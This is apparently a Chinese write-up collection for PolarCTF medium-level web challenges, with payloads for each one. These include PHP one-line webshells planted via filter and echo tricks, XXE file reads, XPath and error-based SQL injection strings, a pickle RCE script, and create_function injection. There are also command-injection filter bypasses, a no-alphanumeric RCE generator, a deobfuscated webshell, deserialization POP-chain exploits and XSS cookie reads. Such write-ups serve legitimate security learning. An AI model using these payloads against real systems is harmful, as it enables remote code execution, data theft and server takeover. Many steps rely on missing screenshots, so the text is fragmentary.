Polar-web中等
到底给不给flag呢

退出条件 :必须传入GET或POST的 flag 参数(否则退出),且参数值不能是 flag (否则退出)。
变量覆盖 :
- POST参数会将键作为变量名,值作为变量值(如 POST a=123 → $a=123 )
- GET参数会将键作为变量名,值作为另一个变量的值(如 GET b=c → $b=$c )
- 通过构造特定的POST和GET参数,使得 $flag 变量不被覆盖,从而输出原始flag值。具体步骤如下:
Get 提交:?a=flag&flag=a

查看源码

写shell

我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。
可以使用base64解密的方式进行绕过
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== ` `**<?=@eval($_POST[1]);?>**
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

注入
进入题目
点进去看到id变了

Xpath注入利用Xpath解析器的松散输入和容错 i 特性,能够在URL、表单或其他信息上附带恶意的XPath查询代码,以获得高权限的访问权Xpath注入类似于SQL注入,当网站实验未经正确处理的用户输入查询XML数据时,可能发生XPATH注入,由于Xpath种不像sql种有权限的概念,用户可通过提交恶意XPATH代码获得完整的xml文档权限。
加一个单引号会产生报错,验证XPATH注入存在
输入类似sql万能密码的语句: id=user1' or 1=1 or ''='
通过在路径表达式中使用"|"运算符,您可以选取若干个路径。
最终payload:']|//*|//*['

某函数的复仇

1.$shaw的限制
- 空函数,无限制
2.$root的限制
- $root不能包含危险命令或字符(如rm、cat、|等)。
- 这意味着我们不能直接通过$root执行命令。
第一个参数为空的函数,可以使用create_function注入
?root=;}system('more /f*');/*
shaw=create_function

xxe
查看页面,得到信息flag在flagggg.php中,以及可以查看网站php info文件


用dirsearch扫描一下

扫到一个,进行访问

这个警告信息表明在 /var/www/html/dom.php 文件的第 5 行, DOMDocument::loadXML() 方法接收到了一个空字符串作为输入。 DOMDocument::loadXML() 方法用于加载 XML 数据,如果传入的字符串为空,就会触发这个警告
尝试使用此界面构造xxe,获取flag
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

SSTI
根据题目可知,是ssti,使用fenjing

unpickle

查看附件

存在 反序列化漏洞 : pickle.loads() 直接反序列化用户可控的Cookie数据。可构造恶意Base64编码的pickle数据(如包含执行系统命令的代码),通过Cookie传入后,服务器会执行任意代码(RCE)。
编写python脚本
import pickle
import base64
# 通用载荷(兼容 Python 2/3,无 os 模块依赖)
class RCE:
def __reduce__(self):
return (__import__('builtins').eval, ("open('/flag').read()",))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)


BlackMagic
根据题目提示,访问/BlackMagic.php
查看网站源代码


编写PHP脚本
<?php
// 定义要去除的空白字符(与题目一致)
$strCharList = "\r\n\0\x0B ";
// 原始 flag(包含首尾空白字符,中间为占位符)
$strFlag = "\r xxxxx...xxxxx \n";
// 去除首尾空白字符
$strContent = trim($strFlag, $strCharList);
// 输出 URL 编码结果(用于构造 GET/POST 参数)
echo urlencode($strContent);
?>

反序列化
说明我们要输入一个data,然后pop链如下:
example::destruct()->example::funnnn()->process::close()
那么我们直接开始构造:
<?php
class example
{
public $handle;
function __construct(){
$this->handle=new process();
}
}
class process{
public $pid;
function __construct(){
$this->pid='phpinfo();';
}
}
$test=new example();
echo serialize($test);
?>

直接传入即可

找找shell

题目叫找找shell,那就随手试个/shell.php,真的有,但不知道密码是啥

看附件shell.txt
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>
是一段混淆,简单处理下即可
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O. "\n";
运行一下

再对最后这段代码处理
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O. "\n";
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));

得到密码

再来ping一波啊
随手试试可以命令执行


ndex也给ban了,不知道flag在哪,只能先读index.php了,可以变量拼接绕过
;a=ind;b=ex;ta\c$IFS$9$a$b.php
得到flag
wu

无数字字母RCE
最简单的思路直接取反
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg="/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/"){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(3,"/[A-Za-z0-9]+/");
//1代表模式,后面的是过滤规则

找到flag的目录


代码审计1

查看题目发现代码如下:
echo new $sys($xsx);
是一道php反序列化原生类利用的题。
1.php中内置很多原生的类,在CTF中常以echo new $a($b);这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。
2.这道题是文件读取类:SplFileObject。
当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)
除此之外其实SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容。
?sys=SplFileObject&xsx=php://filter/**read**=convert.base64-encode/resource=flag.php

你的马呢?
题目让我们上传php脚本

试了php,php1-5,phtml都被拦截了,那估计得传图片马了
随即看到文件包含点,靠谱

除了后缀检测,还对文件内容进行了检测,把php换成=即可 
访问/index.php?file=uploads/yjh.png,连蚁剑,拿flag

ezphp

访问robots.txt

继续访问看到此页面,发现存在一个任意文件包含的点 
访问/uploads/upload.php 
上传恶意文件然后包含

寻找文件路径
蚁剑连接
/file/file.php?filename=../uploads/images/yjh3.png

随机值

引用取址绕过即可 
?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";R:2;s:5:"Night";N;s:5:"Light";R:3;}

phpurl

查看附件

进行解码

进行访问

php代码审计,id的输入值应该为admin,但是admin必须进行url编码,由于浏览器会进行一次url解码,所以如果想要服务器端进行一次url解码,则必须对admin进行两次url编码:
使用两次url编码绕过
Url/index.php/?sys=%2578xs
search

一眼sql注入
报错注入梭哈了
query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/group_cOncat(Flag)/**/frOm/**/CTF.Flag),0x7e),3)#

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/reverse(group_cOncat(Flag))/**/frOm/**/CTF.Flag),0x7e),3)#

file

dirsearch直接扫

访问一下

文件上传区直接上传

蚁剑连接

PlayGame
直接给了源码 
简单反序列化,POC:
<?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;
public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return 1;
//file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
$a=new PlayGame();
$a->user->name=new User();
$a->user->name->name=new PlayGame();
$a->user->name->name->gameFile='../../../../../flag';
unserialize(serialize($a));

最后注意传参,有效变量名不允许出现下划线和.,我们可以使用[进行处理,即polar[flag.flag,原理好像是PHP将[识别成_,然后后面的错误就直接无视了,即成为了一个有效变量名

csdn
进入题目,页面没有显示东西,习惯性F12,<!-- 偷偷告诉你,flag在flag目录下的flag.txt中 -->,url:index.php?xxs=https://blog.csdn.net/,感觉考察的是文件包含
先试一下普通的文件包含
?xxs=php://filter/read=convert.base64-encode/resource=/flag.txt
失败
?xxs=file:///flag.txt
成功拿到flag

Dragon

flag在cookie里面

其实本题的考点在xss上

利用xss读取cookie,看是否有flag的值。

在测试过程中发现关键字script被过滤掉。利用大小写混合以及双写绕过无果。
决定利用img标签报错来实现弹窗。
<img src=0 onerror=alert(1)>

可以成功弹窗。那么我们可以利用xss获取cookie。
<img src=0 onerror=alert(document.cookie)>
tnl

进入题目环境后,是这样的页面。根据提示进行输入。
输入1,2数字,页面没有反应。
当输入3时,会出现报错。

看着像是sql注入,但是单纯一个数字3,并无注入内容。故该报错并非是真正的报错。BP抓包查看具体信息。
发现输入的内容被传递给了twothree参数。当输入1时,出现了this is flag?字样。
输入其他数字都会出现一模一样的报错。故猜测该字符串可能是用来迷惑做题人的。
根据输入1,2时的回显,猜测该题可能考察文件包含。
通过伪协议读取index.php的源码。
php://filter/read=convert.base64-encode/resource=index.php

看到源码

可以通过php伪协议的特性绕过if判断,从而读取flag的值。
php://filter/read=convert.base64-encode/index/resource=flag


你知道sys还能这样玩吗

403报错
根据题目猜一猜

使用变量拼接
cmd=a=l;b=s;$a$b /;
cmd=a=ca;b=t;c=fla;d=g[^a]txt;$a$b /$c$d;

ExX?

扫一下,敏感目录如下
dom.php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>
<user>
<name>&xxe;</name>
</user>

EZ_Host

一眼丁真命令注入

?host=127.0.0.1;cat+f*

传马

上传一个png文件抓包改php后缀


笑傲上传

有个后门


直接上传图片,php读文件即可
找到文件路径

序列一下

<?php
class Polar{
public $lt;
public $b;
}
$p=new Polar();
$p->lt="system";
$p->b="tac /f*";
echo serialize($p);

O:5:"Polar":2:{s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}

坏掉的上传页

发现无法上传

扫到config.php,访问一下

可以看出来定义了一个DB_FILE的常量, 它的值是由UPLOAD_PATH常量与"database.db"字符串拼成的。
可以直接编写python脚本上传木马
import requests
url = "http://92a24b91-d19b-4d24-8c5a-624534e8cdf0.www.polarctf.com:8090/"
muma = {'file':open("D:\\OneDrive\\Desktop\\编程\\shell.php", "rb")}
response = requests.post(url, files = muma)
if response.status_code == 200:
print("文件上传成功")
print("服务器返回的信息: ", response.text)
else:
print("文件上传失败")
print("错误码: ", response.status_code)


蚁剑连接

xxmmll

抓包看看返回包

访问看看
题目上提示xml
<?xml version="1.0" encoding="UTF-8"?>
<HelloWorld>
<Message>hello, world</Message>
</HelloWorld>

Note

根据题目信息猜测调试目录中可能存放重要信息
查看调试日志debug.log

分析调试日志得出以下结论:
(1)多次提到 Note类,可以确认这是一个对象类。
(2)Note 类中可能有一个与文件操作相关的属性 filename。且默认值为 logs.txt,可以尝试将其修改为 flag.txt。
(3)Hint: unserialize(data) might be insecure if data is user-controlled,明确指出了应用中存在 unserialize() 操作。可知data 参数是用户可控的,且未进行安全验证。
(4)Potential file path manipulation in Note class 指出Note 类中的属性可以控制文件路径,从而影响文件操作。
根据结论构造出Note类的结构
class Note {
private $filename;
private $content;
public function __destruct() {
if ($this->filename === 'logs.txt') {
echo file_get_contents($this->filename);
}
}
}
我们可以本地创建一个Note类,通过序列化此对象来确定序列化的格式,最后编写EXP来生成payload
<?php
class Note {
private $filename;
private $content;
}
$note = new Note();
$reflection = new ReflectionClass($note);
// 修改 filename 为 flag.txt
$filenameProperty = $reflection->getProperty('filename');
$filenameProperty->setAccessible(true);
$filenameProperty->setValue($note, 'flag.txt');
// 序列化并 URL 编码
echo urlencode(serialize($note));
?>


赌王

根据提示, 需要三个图标相同才能拿到hint, 我们通过抓包进行不断地旋转

访问ed3d2c21991e3bef5e069713af9fa6ca.php

数值一直都比我们输入的大
尝试xss漏洞

输入<script>confirm()</script>

访问e744f91c29ec99f0e662c9177946c627.php

输入127.0.0.1发现权限不足

查看源码


抓包xff构造1.1.1.1


复读机RCE
根据题目名称和提示信息分析,题目考查RCE远程命令执行,尝试使用find等命令,发现无法显示
根据提示信息,尝试执行命令发现只能使用echo命令



尝试使用echo命令写入一句话木马的php文件,尝试使用蚁剑工具链接

连接成功,目录发现flag.txt文件

xCsMsD

先注册

登录之后看到输入页面

这里可以执行命令,但是通过测试发现空格以及目录符被替换,我们注意到
cooike的位置:
%27+%27-%3E%27-%27%2C+%27%5C%27-%3E%27%2F%27
翻译过来就是
' '->'-', '\'->'/'
就这么替换的
输入ls

查看当前位置

查看根目录

获取flag

不能用cat


coke的登陆

点击提示


知道账号密码直接登录
查看源码

bllbl_rce
一个命令执行,刚开始无论输入什么都是no

先扫描目录试试,发现admin.php


下载源码

需要输入bllbl字符串才可以去执行命令,所以构造命令


狗黑子的隐藏
进来之后是个这

看看源码可以看到有个隐藏框,并且这个隐藏框可以进行命令执行
看到隐藏框,可以删除type hidden

看到源码有POST传参,我们也可以利用hackbar,直接进行命令执行,Hackbar的post data给了参数是cmd
传参cmd=ls

传参cat index.php看不到的,说明存在过滤,绕过一下,c""a""t * 或者从c""a""t i“”n""d""e""x.php去查看内容

经过尝试我们可以使用echo '' >> a.php,进行一句话木马操作
echo "<?php @eval($_POST['a']);?>" >1.php

然后连蚁剑拿flag
真假ECR

过滤了一些东西,但没过滤\,直接读flag
ca\t /f\lag

nukaka_ser2
poc
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode = false;
}
$flag = new FlagReader();
$vuln = new VulnerableClass();
$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);
$vuln->logger = $flag;
echo base64_encode(serialize($vuln));


你也玩铲吗
点击不玩,随便注册一个,登录


查看源码

将user:admin编码
dXNlcjphZG1pbg==
dirsearch扫描发现/login_admin.html,还有/admin_login.php

在login_admin.html伪造一个cookie
auth=dXNlcjphZG1pbg==
访问/admin_login.php,即可获得flag



浙公网安备 33010602011771号